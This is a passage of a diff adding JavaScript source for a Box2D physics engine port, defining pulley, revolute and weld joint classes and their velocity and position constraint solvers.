+ this.type = Box2D.Dynamics.Joints.b2Joint.e_pulleyJoint;
+ this.groundAnchorA.Set((-1.0), 1.0);
+ this.groundAnchorB.Set(1.0, 1.0);
+ this.localAnchorA.Set((-1.0), 0.0);
+ this.localAnchorB.Set(1.0, 0.0);
+ this.lengthA = 0.0;
+ this.maxLengthA = 0.0;
+ this.lengthB = 0.0;
+ this.maxLengthB = 0.0;
+ this.ratio = 1.0;
+ this.collideConnected = true;
+};
+c2inherit(Box2D.Dynamics.Joints.b2PulleyJointDef, Box2D.Dynamics.Joints.b2JointDef);
+Box2D.Dynamics.Joints.b2PulleyJointDef.prototype.Initialize = function(bA, bB, gaA, gaB, anchorA, anchorB, r) {
+ if (r === undefined) r = 0;
+ this.bodyA = bA;
+ this.bodyB = bB;
+ this.groundAnchorA.SetV(gaA);
+ this.groundAnchorB.SetV(gaB);
+ this.localAnchorA = this.bodyA.GetLocalPoint(anchorA);
+ this.localAnchorB = this.bodyB.GetLocalPoint(anchorB);
+ var d1X = anchorA.x - gaA.x;
+ var d1Y = anchorA.y - gaA.y;
+ this.lengthA = Math.sqrt(d1X * d1X + d1Y * d1Y);
+ var d2X = anchorB.x - gaB.x;
+ var d2Y = anchorB.y - gaB.y;
+ this.lengthB = Math.sqrt(d2X * d2X + d2Y * d2Y);
+ this.ratio = r;
+ var C = this.lengthA + this.ratio * this.lengthB;
+ this.maxLengthA = C - this.ratio * Box2D.Dynamics.Joints.b2PulleyJoint.b2_minPulleyLength;
+ this.maxLengthB = (C - Box2D.Dynamics.Joints.b2PulleyJoint.b2_minPulleyLength) / this.ratio;
+};
+Box2D.Dynamics.Joints.b2PulleyJointDef.prototype.Create = function() {
+ return new Box2D.Dynamics.Joints.b2PulleyJoint(this);
+};
+/**
+ * @param {!Box2D.Dynamics.Joints.b2RevoluteJointDef} def
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2Joint}
+ */
+Box2D.Dynamics.Joints.b2RevoluteJoint = function(def) {
+ Box2D.Dynamics.Joints.b2Joint.call(this, def);
+ this.K = new Box2D.Common.Math.b2Mat22();
+ this.K1 = new Box2D.Common.Math.b2Mat22();
+ this.K2 = new Box2D.Common.Math.b2Mat22();
+ this.K3 = new Box2D.Common.Math.b2Mat22();
+ this.impulse3 = new Box2D.Common.Math.b2Vec3(0, 0, 0);
+ this.impulse2 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.reduced = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localAnchor1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localAnchor2 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_impulse = new Box2D.Common.Math.b2Vec3(0, 0, 0);
+ this.m_mass = new Box2D.Common.Math.b2Mat33();
+ this.m_localAnchor1.SetV(def.localAnchorA);
+ this.m_localAnchor2.SetV(def.localAnchorB);
+ this.m_referenceAngle = def.referenceAngle;
+ this.m_impulse.SetZero();
+ this.m_motorImpulse = 0.0;
+ this.m_lowerAngle = def.lowerAngle;
+ this.m_upperAngle = def.upperAngle;
+ this.m_maxMotorTorque = def.maxMotorTorque;
+ this.m_motorSpeed = def.motorSpeed;
+ this.m_enableLimit = def.enableLimit;
+ this.m_enableMotor = def.enableMotor;
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit;
+};
+c2inherit(Box2D.Dynamics.Joints.b2RevoluteJoint, Box2D.Dynamics.Joints.b2Joint);
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.GetAnchorA = function() {
+ return this.m_bodyA.GetWorldPoint(this.m_localAnchor1);
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.GetAnchorB = function() {
+ return this.m_bodyB.GetWorldPoint(this.m_localAnchor2);
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.GetReactionForce = function(inv_dt) {
+ if (inv_dt === undefined) inv_dt = 0;
+ return Box2D.Common.Math.b2Vec2.Get(inv_dt * this.m_impulse.x, inv_dt * this.m_impulse.y);
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.GetReactionTorque = function(inv_dt) {
+ if (inv_dt === undefined) inv_dt = 0;
+ return inv_dt * this.m_impulse.z;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.GetJointAngle = function() {
+ return this.m_bodyB.m_sweep.a - this.m_bodyA.m_sweep.a - this.m_referenceAngle;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.GetJointSpeed = function() {
+ return this.m_bodyB.m_angularVelocity - this.m_bodyA.m_angularVelocity;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.IsLimitEnabled = function() {
+ return this.m_enableLimit;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.EnableLimit = function(flag) {
+ this.m_enableLimit = flag;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.GetLowerLimit = function() {
+ return this.m_lowerAngle;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.GetUpperLimit = function() {
+ return this.m_upperAngle;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.SetLimits = function(lower, upper) {
+ if (lower === undefined) lower = 0;
+ if (upper === undefined) upper = 0;
+ this.m_lowerAngle = lower;
+ this.m_upperAngle = upper;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.IsMotorEnabled = function() {
+ this.m_bodyA.SetAwake(true);
+ this.m_bodyB.SetAwake(true);
+ return this.m_enableMotor;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.EnableMotor = function(flag) {
+ this.m_enableMotor = flag;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.SetMotorSpeed = function(speed) {
+ if (speed === undefined) speed = 0;
+ this.m_bodyA.SetAwake(true);
+ this.m_bodyB.SetAwake(true);
+ this.m_motorSpeed = speed;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.GetMotorSpeed = function() {
+ return this.m_motorSpeed;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.SetMaxMotorTorque = function(torque) {
+ if (torque === undefined) torque = 0;
+ this.m_maxMotorTorque = torque;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.GetMotorTorque = function() {
+ return this.m_maxMotorTorque;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.InitVelocityConstraints = function(step) {
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var tMat;
+ var tX = 0;
+ tMat = bA.m_xf.R;
+ var r1X = this.m_localAnchor1.x - bA.m_sweep.localCenter.x;
+ var r1Y = this.m_localAnchor1.y - bA.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ tMat = bB.m_xf.R;
+ var r2X = this.m_localAnchor2.x - bB.m_sweep.localCenter.x;
+ var r2Y = this.m_localAnchor2.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ var m1 = bA.m_invMass;
+ var m2 = bB.m_invMass;
+ var i1 = bA.m_invI;
+ var i2 = bB.m_invI;
+ this.m_mass.col1.x = m1 + m2 + r1Y * r1Y * i1 + r2Y * r2Y * i2;
+ this.m_mass.col2.x = (-r1Y * r1X * i1) - r2Y * r2X * i2;
+ this.m_mass.col3.x = (-r1Y * i1) - r2Y * i2;
+ this.m_mass.col1.y = this.m_mass.col2.x;
+ this.m_mass.col2.y = m1 + m2 + r1X * r1X * i1 + r2X * r2X * i2;
+ this.m_mass.col3.y = r1X * i1 + r2X * i2;
+ this.m_mass.col1.z = this.m_mass.col3.x;
+ this.m_mass.col2.z = this.m_mass.col3.y;
+ this.m_mass.col3.z = i1 + i2;
+ this.m_motorMass = 1.0 / (i1 + i2);
+ if (!this.m_enableMotor) {
+ this.m_motorImpulse = 0.0;
+ }
+ if (this.m_enableLimit) {
+ var jointAngle = bB.m_sweep.a - bA.m_sweep.a - this.m_referenceAngle;
+ if (Math.abs(this.m_upperAngle - this.m_lowerAngle) < 2.0 * Box2D.Common.b2Settings.b2_angularSlop) {
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_equalLimits;
+ } else if (jointAngle <= this.m_lowerAngle) {
+ if (this.m_limitState != Box2D.Dynamics.Joints.b2Joint.e_atLowerLimit) {
+ this.m_impulse.z = 0.0;
+ }
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_atLowerLimit;
+ } else if (jointAngle >= this.m_upperAngle) {
+ if (this.m_limitState != Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit) {
+ this.m_impulse.z = 0.0;
+ }
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit;
+ } else {
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit;
+ this.m_impulse.z = 0.0;
+ }
+ } else {
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit;
+ }
+ if (step.warmStarting) {
+ this.m_impulse.x *= step.dtRatio;
+ this.m_impulse.y *= step.dtRatio;
+ this.m_motorImpulse *= step.dtRatio;
+ var PX = this.m_impulse.x;
+ var PY = this.m_impulse.y;
+ bA.m_linearVelocity.x -= m1 * PX;
+ bA.m_linearVelocity.y -= m1 * PY;
+ bA.m_angularVelocity -= i1 * ((r1X * PY - r1Y * PX) + this.m_motorImpulse + this.m_impulse.z);
+ bB.m_linearVelocity.x += m2 * PX;
+ bB.m_linearVelocity.y += m2 * PY;
+ bB.m_angularVelocity += i2 * ((r2X * PY - r2Y * PX) + this.m_motorImpulse + this.m_impulse.z);
+ } else {
+ this.m_impulse.SetZero();
+ this.m_motorImpulse = 0.0;
+ }
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.SolveVelocityConstraints = function(step) {
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var tMat;
+ var tX = 0;
+ var newImpulse = 0;
+ var r1X = 0;
+ var r1Y = 0;
+ var r2X = 0;
+ var r2Y = 0;
+ var v1 = bA.m_linearVelocity;
+ var w1 = bA.m_angularVelocity;
+ var v2 = bB.m_linearVelocity;
+ var w2 = bB.m_angularVelocity;
+ var m1 = bA.m_invMass;
+ var m2 = bB.m_invMass;
+ var i1 = bA.m_invI;
+ var i2 = bB.m_invI;
+ if (this.m_enableMotor && this.m_limitState != Box2D.Dynamics.Joints.b2Joint.e_equalLimits) {
+ var Cdot = w2 - w1 - this.m_motorSpeed;
+ var impulse = this.m_motorMass * ((-Cdot));
+ var oldImpulse = this.m_motorImpulse;
+ var maxImpulse = step.dt * this.m_maxMotorTorque;
+ this.m_motorImpulse = Box2D.Common.Math.b2Math.Clamp(this.m_motorImpulse + impulse, (-maxImpulse), maxImpulse);
+ impulse = this.m_motorImpulse - oldImpulse;
+ w1 -= i1 * impulse;
+ w2 += i2 * impulse;
+ }
+ if (this.m_enableLimit && this.m_limitState != Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit) {
+ tMat = bA.m_xf.R;
+ r1X = this.m_localAnchor1.x - bA.m_sweep.localCenter.x;
+ r1Y = this.m_localAnchor1.y - bA.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ tMat = bB.m_xf.R;
+ r2X = this.m_localAnchor2.x - bB.m_sweep.localCenter.x;
+ r2Y = this.m_localAnchor2.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ var Cdot1X = v2.x + ((-w2 * r2Y)) - v1.x - ((-w1 * r1Y));
+ var Cdot1Y = v2.y + (w2 * r2X) - v1.y - (w1 * r1X);
+ var Cdot2 = w2 - w1;
+ this.m_mass.Solve33(this.impulse3, (-Cdot1X), (-Cdot1Y), (-Cdot2));
+ if (this.m_limitState == Box2D.Dynamics.Joints.b2Joint.e_equalLimits) {
+ this.m_impulse.Add(this.impulse3);
+ } else if (this.m_limitState == Box2D.Dynamics.Joints.b2Joint.e_atLowerLimit) {
+ newImpulse = this.m_impulse.z + this.impulse3.z;
+ if (newImpulse < 0.0) {
+ this.m_mass.Solve22(this.reduced, (-Cdot1X), (-Cdot1Y));
+ this.impulse3.x = this.reduced.x;
+ this.impulse3.y = this.reduced.y;
+ this.impulse3.z = (-this.m_impulse.z);
+ this.m_impulse.x += this.reduced.x;
+ this.m_impulse.y += this.reduced.y;
+ this.m_impulse.z = 0.0;
+ }
+ } else if (this.m_limitState == Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit) {
+ newImpulse = this.m_impulse.z + this.impulse3.z;
+ if (newImpulse > 0.0) {
+ this.m_mass.Solve22(this.reduced, (-Cdot1X), (-Cdot1Y));
+ this.impulse3.x = this.reduced.x;
+ this.impulse3.y = this.reduced.y;
+ this.impulse3.z = (-this.m_impulse.z);
+ this.m_impulse.x += this.reduced.x;
+ this.m_impulse.y += this.reduced.y;
+ this.m_impulse.z = 0.0;
+ }
+ }
+ v1.x -= m1 * this.impulse3.x;
+ v1.y -= m1 * this.impulse3.y;
+ w1 -= i1 * (r1X * this.impulse3.y - r1Y * this.impulse3.x + this.impulse3.z);
+ v2.x += m2 * this.impulse3.x;
+ v2.y += m2 * this.impulse3.y;
+ w2 += i2 * (r2X * this.impulse3.y - r2Y * this.impulse3.x + this.impulse3.z);
+ } else {
+ tMat = bA.m_xf.R;
+ r1X = this.m_localAnchor1.x - bA.m_sweep.localCenter.x;
+ r1Y = this.m_localAnchor1.y - bA.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ tMat = bB.m_xf.R;
+ r2X = this.m_localAnchor2.x - bB.m_sweep.localCenter.x;
+ r2Y = this.m_localAnchor2.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ var CdotX = v2.x + ((-w2 * r2Y)) - v1.x - ((-w1 * r1Y));
+ var CdotY = v2.y + (w2 * r2X) - v1.y - (w1 * r1X);
+ this.m_mass.Solve22(this.impulse2, (-CdotX), (-CdotY));
+ this.m_impulse.x += this.impulse2.x;
+ this.m_impulse.y += this.impulse2.y;
+ v1.x -= m1 * this.impulse2.x;
+ v1.y -= m1 * this.impulse2.y;
+ w1 -= i1 * (r1X * this.impulse2.y - r1Y * this.impulse2.x);
+ v2.x += m2 * this.impulse2.x;
+ v2.y += m2 * this.impulse2.y;
+ w2 += i2 * (r2X * this.impulse2.y - r2Y * this.impulse2.x);
+ }
+ bA.m_linearVelocity.SetV(v1);
+ bA.m_angularVelocity = w1;
+ bB.m_linearVelocity.SetV(v2);
+ bB.m_angularVelocity = w2;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.prototype.SolvePositionConstraints = function(baumgarte) {
+ if (baumgarte === undefined) baumgarte = 0;
+ var oldLimitImpulse = 0;
+ var C = 0;
+ var tMat;
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var angularError = 0.0;
+ var positionError = 0.0;
+ var tX = 0;
+ var impulseX = 0;
+ var impulseY = 0;
+ if (this.m_enableLimit && this.m_limitState != Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit) {
+ var angle = bB.m_sweep.a - bA.m_sweep.a - this.m_referenceAngle;
+ var limitImpulse = 0.0;
+ if (this.m_limitState == Box2D.Dynamics.Joints.b2Joint.e_equalLimits) {
+ C = Box2D.Common.Math.b2Math.Clamp(angle - this.m_lowerAngle, (-Box2D.Common.b2Settings.b2_maxAngularCorrection), Box2D.Common.b2Settings.b2_maxAngularCorrection);
+ limitImpulse = (-this.m_motorMass * C);
+ angularError = Math.abs(C);
+ } else if (this.m_limitState == Box2D.Dynamics.Joints.b2Joint.e_atLowerLimit) {
+ C = angle - this.m_lowerAngle;
+ angularError = (-C);
+ C = Box2D.Common.Math.b2Math.Clamp(C + Box2D.Common.b2Settings.b2_angularSlop, (-Box2D.Common.b2Settings.b2_maxAngularCorrection), 0.0);
+ limitImpulse = (-this.m_motorMass * C);
+ } else if (this.m_limitState == Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit) {
+ C = angle - this.m_upperAngle;
+ angularError = C;
+ C = Box2D.Common.Math.b2Math.Clamp(C - Box2D.Common.b2Settings.b2_angularSlop, 0.0, Box2D.Common.b2Settings.b2_maxAngularCorrection);
+ limitImpulse = (-this.m_motorMass * C);
+ }
+ bA.m_sweep.a -= bA.m_invI * limitImpulse;
+ bB.m_sweep.a += bB.m_invI * limitImpulse;
+ bA.SynchronizeTransform();
+ bB.SynchronizeTransform();
+ }
+ tMat = bA.m_xf.R;
+ var r1X = this.m_localAnchor1.x - bA.m_sweep.localCenter.x;
+ var r1Y = this.m_localAnchor1.y - bA.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ tMat = bB.m_xf.R;
+ var r2X = this.m_localAnchor2.x - bB.m_sweep.localCenter.x;
+ var r2Y = this.m_localAnchor2.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ var CX = bB.m_sweep.c.x + r2X - bA.m_sweep.c.x - r1X;
+ var CY = bB.m_sweep.c.y + r2Y - bA.m_sweep.c.y - r1Y;
+ var CLengthSquared = CX * CX + CY * CY;
+ var CLength = Math.sqrt(CLengthSquared);
+ positionError = CLength;
+ var invMass1 = bA.m_invMass;
+ var invMass2 = bB.m_invMass;
+ var invI1 = bA.m_invI;
+ var invI2 = bB.m_invI;
+ var k_allowedStretch = 10.0 * Box2D.Common.b2Settings.b2_linearSlop;
+ if (CLengthSquared > k_allowedStretch * k_allowedStretch) {
+ var uX = CX / CLength;
+ var uY = CY / CLength;
+ var k = invMass1 + invMass2;
+ var m = 1.0 / k;
+ impulseX = m * ((-CX));
+ impulseY = m * ((-CY));
+ var k_beta = 0.5;
+ bA.m_sweep.c.x -= k_beta * invMass1 * impulseX;
+ bA.m_sweep.c.y -= k_beta * invMass1 * impulseY;
+ bB.m_sweep.c.x += k_beta * invMass2 * impulseX;
+ bB.m_sweep.c.y += k_beta * invMass2 * impulseY;
+ CX = bB.m_sweep.c.x + r2X - bA.m_sweep.c.x - r1X;
+ CY = bB.m_sweep.c.y + r2Y - bA.m_sweep.c.y - r1Y;
+ }
+ this.K1.col1.x = invMass1 + invMass2;
+ this.K1.col2.x = 0.0;
+ this.K1.col1.y = 0.0;
+ this.K1.col2.y = invMass1 + invMass2;
+ this.K2.col1.x = invI1 * r1Y * r1Y;
+ this.K2.col2.x = (-invI1 * r1X * r1Y);
+ this.K2.col1.y = (-invI1 * r1X * r1Y);
+ this.K2.col2.y = invI1 * r1X * r1X;
+ this.K3.col1.x = invI2 * r2Y * r2Y;
+ this.K3.col2.x = (-invI2 * r2X * r2Y);
+ this.K3.col1.y = (-invI2 * r2X * r2Y);
+ this.K3.col2.y = invI2 * r2X * r2X;
+ this.K.SetM(this.K1);
+ this.K.AddM(this.K2);
+ this.K.AddM(this.K3);
+ this.K.Solve(Box2D.Dynamics.Joints.b2RevoluteJoint.tImpulse, (-CX), (-CY));
+ impulseX = Box2D.Dynamics.Joints.b2RevoluteJoint.tImpulse.x;
+ impulseY = Box2D.Dynamics.Joints.b2RevoluteJoint.tImpulse.y;
+ bA.m_sweep.c.x -= bA.m_invMass * impulseX;
+ bA.m_sweep.c.y -= bA.m_invMass * impulseY;
+ bA.m_sweep.a -= bA.m_invI * (r1X * impulseY - r1Y * impulseX);
+ bB.m_sweep.c.x += bB.m_invMass * impulseX;
+ bB.m_sweep.c.y += bB.m_invMass * impulseY;
+ bB.m_sweep.a += bB.m_invI * (r2X * impulseY - r2Y * impulseX);
+ bA.SynchronizeTransform();
+ bB.SynchronizeTransform();
+ return positionError <= Box2D.Common.b2Settings.b2_linearSlop && angularError <= Box2D.Common.b2Settings.b2_angularSlop;
+};
+Box2D.Dynamics.Joints.b2RevoluteJoint.tImpulse = Box2D.Common.Math.b2Vec2.Get(0, 0);
+/**
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2JointDef}
+ */
+Box2D.Dynamics.Joints.b2RevoluteJointDef = function() {
+ Box2D.Dynamics.Joints.b2JointDef.call(this);
+ this.localAnchorA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.localAnchorB = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.type = Box2D.Dynamics.Joints.b2Joint.e_revoluteJoint;
+ this.localAnchorA.SetZero();
+ this.localAnchorB.SetZero();
+ this.referenceAngle = 0.0;
+ this.lowerAngle = 0.0;
+ this.upperAngle = 0.0;
+ this.maxMotorTorque = 0.0;
+ this.motorSpeed = 0.0;
+ this.enableLimit = false;
+ this.enableMotor = false;
+};
+c2inherit(Box2D.Dynamics.Joints.b2RevoluteJointDef, Box2D.Dynamics.Joints.b2JointDef);
+Box2D.Dynamics.Joints.b2RevoluteJointDef.prototype.Initialize = function(bA, bB, anchor) {
+ this.bodyA = bA;
+ this.bodyB = bB;
+ this.localAnchorA = this.bodyA.GetLocalPoint(anchor);
+ this.localAnchorB = this.bodyB.GetLocalPoint(anchor);
+ this.referenceAngle = this.bodyB.GetAngle() - this.bodyA.GetAngle();
+};
+Box2D.Dynamics.Joints.b2RevoluteJointDef.prototype.Create = function() {
+ return new Box2D.Dynamics.Joints.b2RevoluteJoint(this);
+};
+/**
+ * @param {!Box2D.Dynamics.Joints.b2WeldJointDef} def
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2Joint}
+ */
+Box2D.Dynamics.Joints.b2WeldJoint = function(def) {
+ Box2D.Dynamics.Joints.b2Joint.call(this, def);
+ this.m_localAnchorA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localAnchorB = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_impulse = new Box2D.Common.Math.b2Vec3(0, 0, 0);
+ this.m_mass = new Box2D.Common.Math.b2Mat33();
+ this.m_localAnchorA.SetV(def.localAnchorA);
+ this.m_localAnchorB.SetV(def.localAnchorB);
+ this.m_referenceAngle = def.referenceAngle;
+};
+c2inherit(Box2D.Dynamics.Joints.b2WeldJoint, Box2D.Dynamics.Joints.b2Joint);
+Box2D.Dynamics.Joints.b2WeldJoint.prototype.GetAnchorA = function() {
+ return this.m_bodyA.GetWorldPoint(this.m_localAnchorA);
+};
+Box2D.Dynamics.Joints.b2WeldJoint.prototype.GetAnchorB = function() {
+ return this.m_bodyB.GetWorldPoint(this.m_localAnchorB);
+};
+/**
+ * @param {number} inv_dt
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Dynamics.Joints.b2WeldJoint.prototype.GetReactionForce = function(inv_dt) {
+ return Box2D.Common.Math.b2Vec2.Get(inv_dt * this.m_impulse.x, inv_dt * this.m_impulse.y);
+};
+/**
+ * @param {number} inv_dt
+ * @return {number}
+ */
+Box2D.Dynamics.Joints.b2WeldJoint.prototype.GetReactionTorque = function(inv_dt) {
+ return inv_dt * this.m_impulse.z;
+};
+Box2D.Dynamics.Joints.b2WeldJoint.prototype.InitVelocityConstraints = function(step) {
+ var tMat;
+ var tX = 0;
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ tMat = bA.m_xf.R;
+ var rAX = this.m_localAnchorA.x - bA.m_sweep.localCenter.x;
+ var rAY = this.m_localAnchorA.y - bA.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * rAX + tMat.col2.x * rAY);
+ rAY = (tMat.col1.y * rAX + tMat.col2.y * rAY);
+ rAX = tX;
+ tMat = bB.m_xf.R;
+ var rBX = this.m_localAnchorB.x - bB.m_sweep.localCenter.x;
+ var rBY = this.m_localAnchorB.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * rBX + tMat.col2.x * rBY);
+ rBY = (tMat.col1.y * rBX + tMat.col2.y * rBY);
+ rBX = tX;
+ var mA = bA.m_invMass;
+ var mB = bB.m_invMass;
+ var iA = bA.m_invI;
+ var iB = bB.m_invI;
+ this.m_mass.col1.x = mA + mB + rAY * rAY * iA + rBY * rBY * iB;
+ this.m_mass.col2.x = (-rAY * rAX * iA) - rBY * rBX * iB;
+ this.m_mass.col3.x = (-rAY * iA) - rBY * iB;
+ this.m_mass.col1.y = this.m_mass.col2.x;
+ this.m_mass.col2.y = mA + mB + rAX * rAX * iA + rBX * rBX * iB;
+ this.m_mass.col3.y = rAX * iA + rBX * iB;
+ this.m_mass.col1.z = this.m_mass.col3.x;
+ this.m_mass.col2.z = this.m_mass.col3.y;
+ this.m_mass.col3.z = iA + iB;
+ if (step.warmStarting) {
+ this.m_impulse.x *= step.dtRatio;
+ this.m_impulse.y *= step.dtRatio;
+ this.m_impulse.z *= step.dtRatio;
+ bA.m_linearVelocity.x -= mA * this.m_impulse.x;
+ bA.m_linearVelocity.y -= mA * this.m_impulse.y;
+ bA.m_angularVelocity -= iA * (rAX * this.m_impulse.y - rAY * this.m_impulse.x + this.m_impulse.z);
+ bB.m_linearVelocity.x += mB * this.m_impulse.x;
+ bB.m_linearVelocity.y += mB * this.m_impulse.y;
+ bB.m_angularVelocity += iB * (rBX * this.m_impulse.y - rBY * this.m_impulse.x + this.m_impulse.z);
+ } else {
+ this.m_impulse.SetZero();
+ }
+};
+Box2D.Dynamics.Joints.b2WeldJoint.prototype.SolveVelocityConstraints = function(step) {
+ var tMat;
+ var tX = 0;
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var vA = bA.m_linearVelocity;
+ var wA = bA.m_angularVelocity;
+ var vB = bB.m_linearVelocity;
+ var wB = bB.m_angularVelocity;
+ var mA = bA.m_invMass;
+ var mB = bB.m_invMass;
+ var iA = bA.m_invI;
+ var iB = bB.m_invI;
+ tMat = bA.m_xf.R;
+ var rAX = this.m_localAnchorA.x - bA.m_sweep.localCenter.x;
+ var rAY = this.m_localAnchorA.y - bA.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * rAX + tMat.col2.x * rAY);
+ rAY = (tMat.col1.y * rAX + tMat.col2.y * rAY);
+ rAX = tX;
+ tMat = bB.m_xf.R;
+ var rBX = this.m_localAnchorB.x - bB.m_sweep.localCenter.x;
+ var rBY = this.m_localAnchorB.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * rBX + tMat.col2.x * rBY);
+ rBY = (tMat.col1.y * rBX + tMat.col2.y * rBY);
+ rBX = tX;
+ var Cdot1X = vB.x - wB * rBY - vA.x + wA * rAY;
+ var Cdot1Y = vB.y + wB * rBX - vA.y - wA * rAX;
+ var Cdot2 = wB - wA;
+ var impulse = new Box2D.Common.Math.b2Vec3(0, 0, 0);
+ this.m_mass.Solve33(impulse, (-Cdot1X), (-Cdot1Y), (-Cdot2));
+ this.m_impulse.Add(impulse);
+ vA.x -= mA * impulse.x;
+ vA.y -= mA * impulse.y;
+ wA -= iA * (rAX * impulse.y - rAY * impulse.x + impulse.z);
+ vB.x += mB * impulse.x;
+ vB.y += mB * impulse.y;
+ wB += iB * (rBX * impulse.y - rBY * impulse.x + impulse.z);
+ bA.m_angularVelocity = wA;
+ bB.m_angularVelocity = wB;
+};
+Box2D.Dynamics.Joints.b2WeldJoint.prototype.SolvePositionConstraints = function(baumgarte) {
+ if (baumgarte === undefined) baumgarte = 0;
+ var tMat;
+ var tX = 0;
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ tMat = bA.m_xf.R;
+ var rAX = this.m_localAnchorA.x - bA.m_sweep.localCenter.x;
+ var rAY = this.m_localAnchorA.y - bA.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * rAX + tMat.col2.x * rAY);
+ rAY = (tMat.col1.y * rAX + tMat.col2.y * rAY);
+ rAX = tX;
+ tMat = bB.m_xf.R;
+ var rBX = this.m_localAnchorB.x - bB.m_sweep.localCenter.x;
+ var rBY = this.m_localAnchorB.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * rBX + tMat.col2.x * rBY);
+ rBY = (tMat.col1.y * rBX + tMat.col2.y * rBY);
+ rBX = tX;
+ var mA = bA.m_invMass;
+ var mB = bB.m_invMass;
+ var iA = bA.m_invI;
+ var iB = bB.m_invI;
+ var C1X = bB.m_sweep.c.x + rBX - bA.m_sweep.c.x - rAX;
+ var C1Y = bB.m_sweep.c.y + rBY - bA.m_sweep.c.y - rAY;
+ var C2 = bB.m_sweep.a - bA.m_sweep.a - this.m_referenceAngle;
+ var k_allowedStretch = 10.0 * Box2D.Common.b2Settings.b2_linearSlop;
+ var positionError = Math.sqrt(C1X * C1X + C1Y * C1Y);
+ var angularError = Math.abs(C2);
+ if (positionError > k_allowedStretch) {
+ iA *= 1.0;
+ iB *= 1.0;
+ }
+ this.m_mass.col1.x = mA + mB + rAY * rAY * iA + rBY * rBY * iB;
+ this.m_mass.col2.x = (-rAY * rAX * iA) - rBY * rBX * iB;
+ this.m_mass.col3.x = (-rAY * iA) - rBY * iB;
+ this.m_mass.col1.y = this.m_mass.col2.x;
+ this.m_mass.col2.y = mA + mB + rAX * rAX * iA + rBX * rBX * iB;
